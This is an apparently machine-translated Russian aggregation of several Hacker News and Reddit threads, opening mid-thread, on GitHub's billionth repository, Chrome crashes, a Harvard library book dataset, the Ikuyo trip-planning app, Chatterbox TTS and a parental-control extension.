Я в этом сильно сомневаюсь, но это звучит вполне возможно.
jaynate 3 минуты назад | | [–]
Клуб репо три запятые
badc0ffee 3 минуты назад | | [–]
Три запятые
joshdavham 7 минут назад | | [–]
Это на самом деле невероятно.
mistersquid 21 минута назад | | [–]
Это ли люди подразумевают под осквернением?
fHr 10 минут назад | | [–]
репозиторий с именем дерьмо LMFAO хороший
samgranieri 25 минут назад | | [–]
Вот дерьмо!
bitpush 34 минуты назад | | [–]
curl -s https://api.github.com/repositories/10000000000 { “id”: 1000000000, “node_id”: “R_kgDOO5rKAA”, “name”: “shit”, “full_name”: “AasishPokhrel/shit” }
deadbabe 11 минут назад | [–]
Какая трата репо. Может кто-нибудь найти, что такое репо 999,999,999? Чтобы мы могли увидеть, что могло быть?
PenguinRevolver 10 минут назад | [–]
https://api.github.com/repositories/999999999

Что ведет на https://github.com/sameepabadhuge/fork1

левокардия 4 минуты назад | | | [–]
>Репозиторий 999999999: продвижение вперед передовых исследований в области сворачивания белков

>Репозиторий 1000000000: дерьмо

TZubiri 1 минуту назад | | | [–]
Двойственность программирования
deadbabe 5 минут назад | | | [–]
Этот репо гораздо более интересен и мог бы использовать внимание. Какой позор. Кто был следующим репо, 1,000,000,001?
KTibow 2 минуты назад | | | [–]
Его не существует. Оказывается, на GitHub много закрытых и удаленных репозиториев.

(Затем есть 1000000002, https://github.com/minseon-01/flaskapp , похожий на 999999999 тем, что это форк)

ihuman 1 минуту назад | | | [–]
Сейчас 404. 1000000002 — это https://github.com/minseon-01/flaskapp


Source: news.ycombinator.com

странное автоматическое закрытие и сбой браузера Chrome: Chrome =reddit.com/r/chrome=

Странное автоматическое закрытие и сбой браузера Chrome Обсуждение ( self.chrome )

отправлено 15 часов назад пользователем redditfanfan00 Chrome

разобрался, на пустой странице новой вкладки ввод @ в качестве самого первого символа в строке поиска URL вверху автоматически приводит к сбою и мгновенному закрытию браузера, как будто браузер пытается что-то сделать, терпит неудачу и мгновенно полностью закрывается. это странно, и это начало происходить только с самым последним обновлением браузера Chrome. @ само по себе не является проблемой, но нажатие @ в строке поиска URL первым приводит к автоматическому сбою и закрытию браузера, и эта проблема не появляется ни при каком другом протестированном нажатии клавиш или их сочетании. залипание клавиш не имеет значения. что происходит, что вызывает это?

Источник

Новая вкладка Wallsflow – просмотр с живыми обоями: chrome =reddit.com/r/chrome=

Wallsflow Новая вкладка – Просмотр с живыми обоями Новости ( chromewebstore.google.com )

отправлено 16 часов назад пользователем Wallsflow

Источник

Chrome открывается, а затем мгновенно закрывается : chrome =reddit.com/r/chrome=

Chrome открывается, а затем мгновенно закрывается Устранение неполадок | Windows ( self.chrome )

отправлено 21 час назад пользователемFar-Manufacturer-413

Chrome работал нормально уже несколько месяцев, но сегодня, когда я попытался открыть Chrome, он мгновенно закрылся. Я уже пробовал переустанавливать, но ничего из того, что я пробовал, не работает.

Источник

Институциональные книги: набор данных токенов 242B из фондов Гарвардской библиотеки=news.ycombinator.com=

Институциональные книги: набор данных токенов 242B из фондов Гарвардской библиотеки ( arxiv.org )

strangecasts 20 минут назад [–]
Из аннотации:

> […] этот технический отчет представляет Institutional Books 1.0, большую коллекцию книг, являющихся общественным достоянием, изначально оцифрованную благодаря участию Гарвардской библиотеки в проекте Google Books, начавшемся в 2006 году. Работая с Гарвардской библиотекой, мы извлекли, проанализировали и обработали эти тома в подробно документированный набор данных исторических текстов. […] В рамках этого первоначального выпуска были предоставлены извлеченные с помощью OCR тексты (исходные и после обработки), а также метаданные (библиографические, исходные и сгенерированные) 983 004 томов, или 242B токенов, идентифицированных как находящиеся в общественном достоянии.


Source: news.ycombinator.com

Показать HN: Ikuyo — веб-приложение для планирования путешествий=news.ycombinator.com=

Показать HN: Ikuyo — веб-приложение для планирования путешествий ( kenrick95.org ) Привет, HN,

В последние ~8 месяцев я работал над сторонним проектом, который помогает мне планировать мои путешествия. Хотя в большинстве месяцев прогресс был незначительным или отсутствовал, в последние ~3 месяца я добавлял массу функций для поддержки моей следующей большой поездки в этом году.

Я писал в своем блоге о наборе функций [1], но вкратце они таковы:

– Просмотр расписания мероприятий, размещения и планов на день

– Просмотр списка и карты

– Комментируя их

– Учет расходов

– Обмен и сотрудничество с друзьями

Исходный код также доступен на GitHub [2]

Это пример поездки только для просмотра: [3]

На данный момент я, по-моему, удовлетворен всеми функциями и достигаю значительных успехов в планировании путешествий.

Дайте мне знать, что вы думаете! Спасибо!

[1] https://blog.kenrick95.org/2025/06/ikuyo-plan-your-next-trip…

[2] https://github.com/kenrick95/ikuyo

[3] https://ikuyo.kenrick95.org/trip/2617cd98-a229-45d4-9617-526…

mi100hael 7 часов назад | [–]
Какова цель вашего проекта?

Несколько лет назад я создал веб-приложение, которое выглядело очень похоже: совместная работа с друзьями и семьей над планом поездки, маршрут с видом на карту, список вещей, заметки/ведение дневника, добавление в избранное, приватный или публичный доступ с возможностью комментирования и тому подобное.

Мой тезис заключался в том, что текущий распространенный метод планирования поездок в общем документе был беспорядочным, и более структурированный, управляемый подход облегчил бы процесс для пользователей. И возможность делиться/показывать планы поездок другим, которые не находятся в поездке, была бы тем, что люди хотели бы делать.

Моей целью было масштабировать его и добиться действительно широкого внедрения, сделать его социальным опытом, но даже привлечение нескольких пользователей оказалось нелегкой задачей.

Я обнаружил, что мой тезис, скорее всего, неверен по нескольким причинам:

1. Подход с беспорядочным общим документом имел преимущество в том, что он был очень легким. Проще просто ввести маркированный список, чем нажать «добавить элемент» и заполнить несколько полей формы.

2. Использование браузера было (я думаю) ограничивающим фактором. Я не уверен, работало бы это как нативное мобильное приложение, но оно определенно не работало бы как веб-приложение.

3. Когда люди хотят похвастаться своей поездкой или ищут вдохновение для путешествий, они обращаются к таким приложениям, как Instagram и Tiktok. Им нужны визуальные эффекты с фотографиями/видео, а не список с картой. Очень сложно создать новую специализированную социальную сеть.

В итоге я свернула это дело и пошла дальше.

Я не хочу сказать, что это комментарий о Dropbox «зачем вы это создаете», а скорее хочу указать на несколько проблем, существующих в этой сфере, о которых вам, вероятно, придется подумать, если вы хотите масштабироваться.

горнаярека 1 час назад | | [–]
Мой друг создал нечто подобное в виде мобильного приложения, но оно также не получило распространения.

Я думаю, что эти инструменты упускают то, что планирование поездки — это своего рода развлечение, и мне не обязательно нужно приложение, чтобы помочь. Это кажется сложным и чем-то, чему мне нужно научиться один раз, а потом переучиваться, когда мне это снова понадобится

kenrick95 7 часов назад | | | [–]
Существует несколько вещей, но широкое внедрение — НЕ одна из них.

Прежде всего, это для моего личного пользования. Мне нравится организовывать вещи, и я нахожу, что беспорядочный способ с документами/таблицами слишком беспорядочен для меня, особенно когда мне нужно скоординировать планы с другими друзьями за границей. Вот почему я начал это.

Во-вторых, это для развлечения и обучения. Мне нравится создавать веб-сайты и изучать, что может предоставить браузер. Я узнал, что у браузера есть API для перетаскивания элементов, чтобы передавать данные целевому элементу

Так что в конечном итоге я воспринимаю это как забавный сторонний проект и не более того.

Спасибо, что поделились своим опытом 🙂

layer8 3 часа назад | | | [–]
Однако целевая страница очень похожа на серьезный продукт, который ищет принятия. Это может ввести пользователей в заблуждение, заставив их подумать, что это нечто большее, чем просто забавный сторонний проект.
yumraj 1 час назад | | | [–]
Есть ли в этом вред, ведь если что-то соответствует требованиям пользователя, он может сам решить, использовать его или нет, верно?
pimlottc 5 часов назад | | | [–]
Согласен, что все, что требует от tripmates создания учетной записи, будет трудно продать большинству групп. По крайней мере, большинство людей уже пользуются Google Docs в эти дни.

Мне не ясно, сколько из этого требует учетной записи, но я бы рекомендовал сделать как можно больше доступными без входа в систему. Некоторые люди захотят помочь спланировать, но есть также много людей, которые просто хотят присоединиться к поездке.

usrme 9 часов назад | | [–]
Я бы определенно рекомендовал добавлять примеры изображений прямо на главную страницу вместе со ссылкой на пример поездки. В противном случае нечем будет заинтересовать пользователей, если им придется искать, как выглядит опыт.
kenrick95 8 часов назад | | [–]
Спасибо за ваше предложение! Сначала я колебался, потому что он находился в стадии интенсивной разработки, поэтому все, что я размещу на главной странице, может очень скоро устареть. Я добавлю их очень скоро~
swyx 3 часа назад | | | [–]
также просто потому, что на вашей целевой странице теперь есть пример с Сингапуром – это мой путеводитель по Сингапуру http://swyx.io/sg-guide и я чувствую, что поощрять людей создавать самостоятельные путеводители по местам их проживания довольно приятно и недостаточно изучено
RamblingCTO 2 часа назад | | | [–]
Кураторство, безусловно, недостаточно изучено, и я бы сказал, что в будущем мы увидим больше подобных тем, учитывая неряшливость ИИ, с которой мы сталкиваемся.
swyx 3 часа назад | | | | [–]
ну, делать скриншоты легко и дёшево + даже если это устарело, это помогает донести, что вы делаете
thefourthchime 6 часов назад | | | [–]
Также позвольте пользователю сделать что-то без создания учетной записи или подтверждения адреса электронной почты.
figmert 6 часов назад | | [–]
Это потрясающе. Я активно использовал wanderlog, но, хотя его набор функций великолепен, работать с ним может быть кошмаром из-за того, насколько он иногда медленный.

Я только что зарегистрировался, чтобы немного протестировать. Я попытался повторить свою предстоящую поездку, которую я запланировал в Wanderlog, и получил следующие отзывы:

– В целом, потрясающе! Быстро. Очень легко следить.

– Мне нравится простота.

– Мне нравится, что это по сути Excel (в некотором роде), но с дополнениями, связанными с путешествиями.

Теперь о возможных улучшениях:

– Кажется, я не могу добавить кого-то еще в качестве редактора. Нажатие «добавить» просто регистрирует «TripForm» с объектом формы. Я также не вижу никаких сетевых запросов.

– Расходы не позволяют мне выбрать, как их разделить (может быть, это проблема, поскольку в поездке больше никто не участвует?)

– Контрастность расписания требует небольшой работы. Возможно, нужны отступы/поля или что-то в этом роде.

– Похоже, у MapTiler недостаточно хорошая база данных. Мне было трудно добавить 152 Morrison Road

– Мероприятия не могут охватывать несколько дней (я пытался добавить поездку на поезде, но она прибыла через 45 минут после полуночи)

– Добавление/редактирование мероприятий на странице расписания не приводит к их обновлению, пока я не обновлю страницу (или не уйду с нее)

А помимо всего этого, как вы планируете это монетизировать? Код выпущен под MIT, что не мешает кому-либо добавлять какой-либо план подписки, размещать его и рекламировать. Могу ли я предложить что-то вроде AGPL?

phsource 1 час назад | | [–]
Привет, figmert, это Питер, один из соучредителей Wanderlog. Я сейчас нахожусь в Италии и, конечно, понимаю, что тебя беспокоит в связи с некоторыми проблемами производительности, и мы усердно работаем над их улучшением.

Если вы не пробовали приложение в последние несколько месяцев, можете попробовать еще раз и сообщить мне, какие части кажутся вам медленными, отправив мне письмо напрямую на peter@wanderlog.com? Я бы с удовольствием посмотрел поближе, и особенно если у вас есть подробности со скриншотами/видео, я могу попытаться исправить некоторые из них сам.

kenrick95 6 часов назад | | | [–]
Спасибо, что попробовали их и оставили такой подробный отзыв!

– В Trip Sharing, хм, это кажется странным. Хотя я понимаю, что индикатора «загрузки» пока нет, но это должно быть возможно, если вы «владелец» поездки

– Разделение расходов: поскольку эта функция пока отсутствует

– Спасибо, я подумаю.

– Карта, которую я выбрал на MapTiler, — это OpenStreetMap, но я ограничиваю ее только точками интереса, возможно, мне нужно расширить ее, чтобы соответствовать большему количеству объектов.

– Ага, в этом случае я нахожу, что это так хлопотно, что мне приходится разделять активность на два разных элемента для отображения в расписании, поэтому я отключил этот случай на данный момент. Спасибо за отличный вариант использования!

– Хмм странно, действия должны отражать живое. Может быть, 'back-end' немного медленный

В любом случае, «бэк-энд» — это InstantDB ( https://www.instantdb.com ), и он открывает соединение WebSocket, поэтому вы не видите сетевых вызовов при выполнении операций.

P.S. Я не думаю, что я когда-нибудь буду это монетизировать. Если кто-то сделает форк и будет монетизировать, пока это не коснется меня, я думаю, меня это устроит. Если у меня закончится квота на «бесплатное использование», я, вероятно, ограничу пользователей всего несколькими людьми

ensignavenger 6 часов назад | | | [–]
AGPL не будет запрещать кому-либо добавлять какой-либо план подписки, размещать его и рекламировать его. Она требует от них лицензировать производные работы в соответствии с AGPL.

Существует много разных целей для разработки программного обеспечения и разных способов заработать на этом деньги. AGPL может быть полезен для некоторых из них, но может быть и довольно ограничивающим.

davl3232 19 минут назад | | [–]
Мне это нравится. Раньше я пользовался Airtable, но отсутствие карты усложняло мне задачу.
gwbas1c 4 часа назад | | [–]
> Планируйте мероприятия с точным временем и местом проведения.

Нет ничего, что я ненавижу больше, чем необходимость быть в определенном месте в определенное время, когда я в отпуске! (В конце концов, это отпуск.)

горбачев 1 час назад | | [–]
Я раньше был таким, но потом моя семья выросла до таких размеров, что мы не можем просто пойти и зайти в ресторан и ожидать, что нам накроют столик без 60-минутного ожидания. Путешествие с большой семьей требует гораздо большего планирования, чем просто сесть на случайный рейс в случайную страну в одиночку на два дня.
eptcyka 4 часа назад | | | [–]
Я сочувствую этому, но меня разрывает пополам противоположная ненависть из-за сожаления о том, что я ничего не сделал или не посетил место, которое я могу сделать только во время отпуска.
gwbas1c 1 час назад | | | [–]
Ну, во всем нужна мера! Мой комментарий был скорее реакцией на склонность некоторых людей к чрезмерному планированию и перебронированию по минутам.
эсхатология 8 часов назад | | [–]
Вам нужно добавить функцию устранения дребезга или отключить кнопку(и) после нажатия и ожидания результатов; получил несколько кодов электронной почты и случайных ошибок, потому что я нажал снова, думая, что кнопка(и) не работают

Добавление примера поездки может помочь получить представление о том, как его использовать.

Вводные данные кажутся утомительными и недостаточно умными; настолько, что они мешают, а не помогают.

Ввод даты действия не должен быть свободным вводом даты; я ввел начальную и конечную дату ранее, нельзя ли это использовать для ограничения диапазона ввода? Дата/время окончания также кажутся утомительными, вместо этого можно было бы ввести длительность (например, 3 часа в этом месте).

Также отсутствуют некоторые дополнительные функции планирования, такие как объединение списка мест для посещения (даты пока не определены), чтобы можно было запланировать их позже, если они окажутся интересными.

Лично я бы продолжил использовать Wanderlog.

kenrick95 8 часов назад | | [–]
Спасибо за отзывы и идеи!

Да, некоторые элементы ввода довольно 'базовые', поскольку они используют элемент ввода браузера по умолчанию. Я улучшу их в свое время…

biophysboy 7 часов назад | | [–]
Это круто. Пользовался похожими приложениями (например, wanderlog), и единственное, чего мне не хватает, это фильтрация расписания. Когда я путешествую, я обнаруживаю, что нахожусь либо в режиме логистики, либо в режиме развлечений. Вот идея:

В режиме логистики мне нужно подробное, точное расписание, ориентированное на транспорт и проживание. Я даже не хочу видеть свои забавные идеи.

В режиме развлечения мне нужен набор простых рекомендаций, основанных на моем текущем местоположении, и единая временная метка, сообщающая мне, когда мне нужно вернуться в режим логистики.

Это имеет смысл? Это почти как если бы мне нужны были два турагента: наставнический сержант-инструктор, который довезет меня из пункта А в пункт Б, и хладнокровный серфер, который поможет мне плыть по течению.

kenrick95 7 часов назад | | [–]
Спасибо за добрые слова и идеи!
повторное подключение 2 часа назад | | [–]
Прежде всего, очень интересно узнать, как другие планируют свой отпуск.

Раньше я делал приложение для путешествий для себя, однако оно было другим. Главной его особенностью была карта и локации с необходимым списком некоторых POI. Когда я был в городе, я использовал его, чтобы посмотреть, есть ли что-то интересное, что я заранее разведал неподалеку от своего местоположения.

С технической стороны я заглянул в CSS и был удивлен. Часть CSS я даже не мог понять (например, ниже), и там были тысячи разных цветов, использованных сотни раз. Не уверен, было ли это задумано.

grid-template-rows: [header]50px [macroplan]min-content [accommodation]min-content [t0000]var(–row-minute-narrow-height) [te0000 t0001]var(–row-minute-narrow-height) [te0001 t0002]var(–row-minute-narrow-height) … в цикле

fodkodrasz 5 часов назад | | [–]
Очень здорово, но мне не совсем понятно, как отображается время с учетом часовых поясов.

В некоторых крупных странах может быть несколько часовых поясов, и маршруты могут быть запутанными, это требует рассмотрения с точки зрения моделирования данных и UX-стороны. Первый взгляд на пользовательский интерфейс не показал мне, как это обрабатывается, я полагаю, что всегда используется местное время.

kenrick95 5 часов назад | | [–]
Да, это не так очевидно, но выбранный «часовой пояс пункта назначения» — это единственный часовой пояс, с которым придется работать при планировании мероприятий в рамках поездки. (При вводе/чтении часового пояса мероприятий все они являются часовым поясом пункта назначения)

Единственный используемый местный часовой пояс — в комментариях (но, надеюсь, так понятнее, поскольку я показываю там смещение часового пояса? Я не показываю его в событиях, так как считаю, что это может быть слишком многословно).

Я понимаю, что возможны случаи, когда поездка охватывает несколько часовых поясов, но на данный момент это еще не поддерживается.

pimlottc 5 часов назад | | | [–]
По крайней мере, вам следует учитывать часовые пояса для путешествия в/из вашего пункта назначения, поскольку это довольно часто другой часовой пояс для международных поездок. Не хотите опоздать на свой рейс…
franciscop 7 часов назад | | [–]
Выглядит хорошо! Поскольку это лицензировано MIT и, как я предполагаю, бесплатно для использования, я бы предложил включить это в целевую страницу. Поскольку на домашней странице не было ключевых слов “цена”, “ценообразование”, “бесплатно” или “стоимость” (относящихся к ценообразованию), я, к сожалению, думал, что там будут темные шаблоны, когда вы начинаете планировать поездку, а затем в какой-то момент он попросит оплату.
kenrick95 7 часов назад | | [–]
Спасибо за добрые слова! Да, отличное предложение, я скоро их добавлю 🙂
denysvitali 7 часов назад | | [–]
Похоже на Wanderlog, но менее зрелый. Желаю вам удачи!

Что бы вы ни делали, пожалуйста, не делайте приложение таким же медленным, как Wanderlog — мне буквально пришлось создать приложение для Android, чтобы взаимодействовать с моими поездками, потому что их приложение вообще не оптимизировано!

kenrick95 7 часов назад | | [–]
Спасибо за добрые слова!
mikesabat 8 часов назад | | [–]
Моя нынешняя «любимая идея, которую я, вероятно, не воплощу» — это смс-чат-бот, который делает именно это для парней в возрасте 30 и 40 лет. Самая сложная часть — это организовать группу друзей, чтобы выбрать выходные и место. Так что бот, который может помочь со всем этим в первую очередь, действительно привлекателен для меня.

ОП, дайте мне знать, если вы хотите создать группу пользователей, которая попытается помочь нам организовать поездку.

kenforthewin 5 часов назад | | [–]
Мы пытаемся построить это на https://tripjam.app
abdhass 7 часов назад | | | [–]
Это я и мои друзья. Нас около 20 человек в нашем групповом чате. У каждого есть свое мнение, но никто не хочет принимать решение
corps_and_code 6 часов назад | | [–]
Здорово! Я бы хотел попробовать это со своей семьей.

Я заметил лицензию MIT, есть ли планы документировать, как кто-то может это разместить у себя? Или вы будете открыты для вкладов от других людей, которые это сделают?

kenrick95 6 часов назад | | [–]
Спасибо!

Вероятно, вам просто нужно скопировать `.env.example` в `.env` и заменить требуемые ключи API. [1] Весь `back-end' – это внешняя зависимость, размещенная в другом месте InstantDB [2] Хотя они утверждают, что вы также можете разместить его у себя, я не стал утруждать себя размещением его у себя. Кроме этого, я использую MapTiler Cloud для картографического сервиса [3], поскольку я обнаружил, что, хотя есть и бесплатные, они могут быть довольно ограниченными при выполнении таких задач, как геокодирование (запрос ключевых слов к координатам).

[1] https://github.com/kenrick95/ikuyo/blob/main/.env.example

[2] https://github.com/instantdb/instant

[3] https://www.maptiler.com/

xwowsersx 6 часов назад | | [–]
У меня и моей семьи поездка в Лондон/Париж в июле с детьми. Попробовал Wanderlog, и он не очень. Попробую это!
Коакума-чан 5 часов назад | | [–]
Просто переезжайте в Канаду. Париж находится в часе езды от Лондона.
abdhass 7 часов назад | | [–]
Я бы хотел увидеть встроенную планировку комнат. Мы бронируем коттеджи для отдыха с несколькими семьями. Было бы неплохо распределить людей по комнатам
kenrick95 7 часов назад | | [–]
Спасибо за идеи!
e-gn 8 часов назад | | [–]
Звучит интересно, но я (и, полагаю, другие, попавшие на целевую страницу, тоже) не захотел проверять это, поскольку для получения дополнительной информации требуется регистрация.
kenrick95 8 часов назад | | [–]
Да, я согласен, пока не обошел эту часть, так как часть аутентификации обрабатывается третьей стороной (InstantDB). Однако вы можете использовать throwaway email service, и он принимает и это
flashblaze 5 часов назад | | [–]
Я не могу повторно отправить код подтверждения. Можете ли вы разрешить это сделать?
Fervicus 5 часов назад | | [–]
Просто предупреждение. Приложение не загружается, если отключен WebGL.
JoshTko 7 часов назад | | [–]
Какую ключевую функцию вы предоставляете, которую нельзя легко реализовать с помощью Google-таблиц?
kenrick95 7 часов назад | | [–]
Хммм, ладно, я пришел из мира Excel, и когда я упорядочиваю свои планы в представлении расписания (в Excel), мне нужно «объединить» несколько ячеек вместе. Однако, если обстоятельства меняются и мне приходится переставлять эти события на другие дни или в другое время, становится больно разъединять ячейки и перемещать их.

Я думаю, это одна из главных причин, по которой я сначала создал это веб-приложение как представление «расписания», а затем уже создавал другие функции.

Tepix 8 часов назад | | [–]
И в вашей политике конфиденциальности, и в ваших условиях обслуживания упоминается возможность связаться с вами, но я не вижу способа это сделать.
kenrick95 8 часов назад | | [–]
Спасибо, что указали! Скоро исправлю.
noworld 8 часов назад | | [–]
Франция дважды указана в вашем списке направлений, и между этими двумя записями нет никаких различий.
kenrick95 8 часов назад | | [–]
Спасибо, что указали! Исправление должно быть развернуто в ближайшее время
leetrout 8 часов назад | | [–]
У вас есть образцы удостоверений?
kenrick95 8 часов назад | | [–]
Извините, я не смог их предоставить, однако вы можете воспользоваться одноразовой электронной почтой, чтобы обойти эту часть.
joeguilmette 3 часа назад | | [–]
Я много путешествую. Очень много. Мое скромное предложение — построить это для себя и вообще не пытаться заставить других этим пользоваться.

Если вы собираетесь использовать PMF и тягу… Он должен иметь все виды сока для адаптации Никиты Бира, устранить все барьеры и трения не только для человека, который это настраивает, но и, что самое главное, для его компаньонов. Время до первой полезности в настоящее время составляет минуты. Это должны быть секунды. А затем слои социального обмена работают так, чтобы контент, который генерирует это приложение, был материалом, которым можно было бы легко поделиться в Instagram. А затем слои контакта, добавляющие материал для жизненной силы.

Следующая проблема заключается в том, что люди не так часто отправляются в поездки, поэтому в лучшем случае ваши пользователи смогут пользоваться приложением лишь урывками несколько раз в год.

И ваша награда за все это — выяснить, как выманить деньги у этих пользователей. Реклама?

Ничего из этого не должно быть плохими новостями. Это хорошие новости. Суровая правда в том, что это не продаваемое программное обеспечение. Это классический тарпит.

Вы явно создали то, что ВАМ нравится и чем вы увлечены. Это потрясающе. Продолжайте создавать это и получите небольшой выброс дофамина, когда добавите функцию, которая вам нравится и которая идеально подходит только для одного пользователя, единственного, кто имеет значение.

И когда прибыльная идея приходит вам в голову, вы знаете, что нужно сделать, чтобы воплотить ее в жизнь. И если это действительно отличная идея, которая помогает вашим пользователям зарабатывать деньги, ей не нужны никакие душераздирающие хаки роста, описанные выше, люди будут умолять вас использовать ее и мириться со всеми ее недостатками и ошибками, потому что она помогает им зарабатывать деньги.

fakedang 2 часа назад | | [–]
Это забавно (в хорошем смысле), потому что есть компания YC, которая на самом деле делает то же самое: https://www.flowtrip.app/
naowal 2 часа назад | | [–]
Как раз к лету!
NihalSingh1 7 часов назад | | [–]
Хорошее приложение, хорошая идея.
adavila78 8 часов назад | | [–]
только что создал учетную запись, но увидел белый экран… https://ikuyo.kenrick95.org/trip/4725b43a-595b-433d-b746-79c… похоже, приложение не готово к запуску…
kenrick95 8 часов назад | | [–]
ах черт… отладка может занять некоторое время, так как у меня пока нет настроек для отслеживания ошибок ._.

Могу ли я узнать, какой у вас браузер и версия? Спасибо

adi4213 7 часов назад | | | [–]
Какой стек вы используете? Вероятно, вам на некоторое время хватит бесплатного уровня sentry и posthog для мониторинга ошибок и наблюдаемости
kenrick95 7 часов назад | | | [–]
На фронтенде используется React, а на бэкенде — InstantDB ( https://www.instantdb.com/ ).

Я старался не добавлять больше внешних SDK, так как это увеличивает размер пакета. Скоро добавлю Sentry для некоторой наблюдаемости.

7 часов назад | | [еще 2]
[мертвый]
kenrick95 7 часов назад | | [–]
Спасибо за поддержку!

Спасибо также за идеи по расширению и улучшению текущих функций 🙂

doix 8 часов назад | | [–]
Это будет довольно негативно (извините), но я не вижу здесь никакой ценности. Возможно, я не совсем “понимаю”, но я не вижу, как это помогает вам планировать. Это просто позволяет вам визуализировать план после того, как вы его создали.

Я путешествую “полный рабочий день” со своей девушкой, и она делает большую часть/всю работу по планированию. Самое сложное не записать, что нужно сделать, а придумать план в первую очередь.

Сначала вы выбираете место, затем выбираете интересные места. Затем вам нужно разработать маршрут, который имеет смысл, который позволит вам увидеть все эти места и как вы будете перемещаться между ними. Поезда/автобусы/такси, расписание этих видов транспорта, запасной вариант на случай, если вы неизбежно опоздаете, «точка невозврата», когда пора отказаться от этого аттракциона.

Для некоторых мест — напоминания о том, когда билеты поступят в продажу на то, что вы хотите сделать, если это очень популярно. Где имеет смысл делать что-то в виде однодневных поездок, а где имеет смысл просто переехать в более сельскую местность/лагерь, чтобы посмотреть что-то. Что делать с багажом и как его перевезти с места на место.

Правда, я не подписывался, я просто посмотрел бесплатный пример и показал его своей девушке. Она использует Excel + Google Maps для визуализации плана, и мы не уверены, что это дает сверх того. Мы также всегда вместе лично, я мог бы понять, как если бы вы были далеко друг от друга, возможно, комментарии и прочее могли бы быть полезны?

kenrick95 8 часов назад | | [–]
Спасибо за ваш отзыв. Да, я понимаю, что у каждого свой рабочий процесс, и это нормально — придерживаться его. Я тоже раньше использовал рабочий процесс Excel + Google Maps, но мне кажется, что совместная работа с человеком на другом конце земного шара — это такая головная боль в Excel, поэтому я придумал эту штуку
suhas_rnd 5 часов назад | | [–]
У моего друга (коллеги) были похожие идеи по управлению поездками, и он создал это.

Полностью открытый исходный код https://github.com/CopilotKit/CopilotKit/tree/main/examples/…

На случай, если это окажется вам полезным.

https://examples-coagents-ai-travel-app-git-main-copilot-kit…

gregorvand 8 часов назад | | [–]
Покажите скриншоты. Покажите, как я и моя семья будем его использовать и что при этом чувствовать.
kenrick95 8 часов назад | | [–]
Спасибо за ваши отзывы. Я скоро их добавлю.
rootudo 8 часов назад | | [–]
Такое ощущение, что все последние несколько лет использовали японский язык для своих сторонних приложений. Я думаю, это может привести к путанице.

С другой стороны, если добавить больше социальных элементов, это может быть весело. Есть несколько приложений, которые позволяют людям загружать места и точки доступа, так что это больше ориентировано на сообщество, но это тоже своего рода Instagram.

criddell 8 часов назад | | [–]
Я думаю, что обмен фотографиями — это хорошая идея. У меня есть семья, которая занимается автодомами, и они используют приложение, которое позволяет им в частном порядке делиться своей галереей. Круто видеть, где они находятся и что делают, путешествуя по стране.

Достаточно будет галереи с приватной ссылкой, доступной только для чтения.

kenrick95 8 часов назад | | | [–]
Хаха, спасибо! Да, это может быть хорошей идеей, если будет много пользователей, но сейчас это в основном я и близкие друзья, так что пока не так много
folknor 7 часов назад | [–]
Не могли бы вы рассмотреть возможность использования чего-то другого, кроме ReCaptcha?

За последний год на HN упоминалось несколько альтернатив. Быстрый поиск по истории моего браузера показал https://altcha.org/open-source-captcha/ как самую последнюю ссылку, по которой я был.

Хочу сказать, что у меня нет опыта использования «альтернативных» капч, и та, которую вы используете, мне просто не нравится.

Также, пожалуйста, побыстрее запустите приложение, чтобы мы могли использовать его во время отпуска в начале сентября, ха-ха 🙂 Спасибо.

kenrick95 7 часов назад | [–]
Спасибо за отзыв!

К сожалению, мне тоже часто приходилось сталкиваться с Recaptcha. Эта часть, по-видимому, внедряется моим общим хостингом (Hostinger) без возможности отключения, даже когда я проверяю их поддержку. Я разместил это на общем хостинге моего основного сайта (kenrick95.org) в качестве поддомена, поскольку мне не нужно платить за это дополнительно.

Я мог бы рассмотреть возможность переноса его в другое место, если решу вести его отдельно от основного сайта.


Source: news.ycombinator.com

Болтун TTS=news.ycombinator.com=

Chatterbox TTS ( github.com/resemble-ai )

xnx 31 минута назад | [–]
Вы можете запустить его бесплатно здесь: https://huggingface.co/spaces/ResembleAI/Chatterbox
Мицца 6 минут назад | | [–]
Демонстрации здесь: https://resemble-ai.github.io/chatterbox_demopage/ (не мои)

Это хороший релиз, если только он не слишком отборный!

Я говорю это каждый раз, когда это всплывает, и это не так уж и круто работать, но в моих экспериментах голосовой ИИ действительно сдерживается транскрипцией, а не TTS. Если только это не изменилось в последнее время.

pinter69 2 минуты назад | | [–]
Вы правы. Я пользовался Speechmatics, они неплохо справляются с транскрипцией.
abraxas 6 минут назад | | [–]
Достаточно ли этих вещей, чтобы убедительно рассказать книгу, или голос теряет связность после нескольких произнесенных абзацев?
pinter69 3 минуты назад | | [–]
Я консультирую компанию в этой сфере (не похожую) и могу с уверенностью сказать, что она может озвучить книгу
gardnr 33 минуты назад | [еще 3]
Ранее в Hacker News:

https://news.ycombinator.com/item?id=44120204

https://news.ycombinator.com/item?id=44144155

https://news.ycombinator.com/item?id=44195105

https://news.ycombinator.com/item?id=44230867

https://news.ycombinator.com/item?id=44172134

https://news.ycombinator.com/item?id=44221910

https://news.ycombinator.com/item?id=44145564

tomhow 12 минут назад | | [–]
Спасибо за публикацию, но обычно ссылки на предыдущие материалы публикуются только в том случае, если они вызвали существенное обсуждение, чего не произошло ни в одном из них.
pinter69 24 минуты назад | | [–]
Я сделал быстрый поиск в Google перед тем, как публиковать, и нашел только ссылку в комментарии. Но я искал ссылку на GitHub.


Source: news.ycombinator.com

Безопасный домашний интернет-механизм уведомлений — решение для родительского контроля: chrome =reddit.com/r/chrome=

Safe Home Internet Notification Engine – обсуждение решения родительского контроля ( chromewebstore.google.com )

отправлено 18 часов назад пользователем SpringSad4844

Источник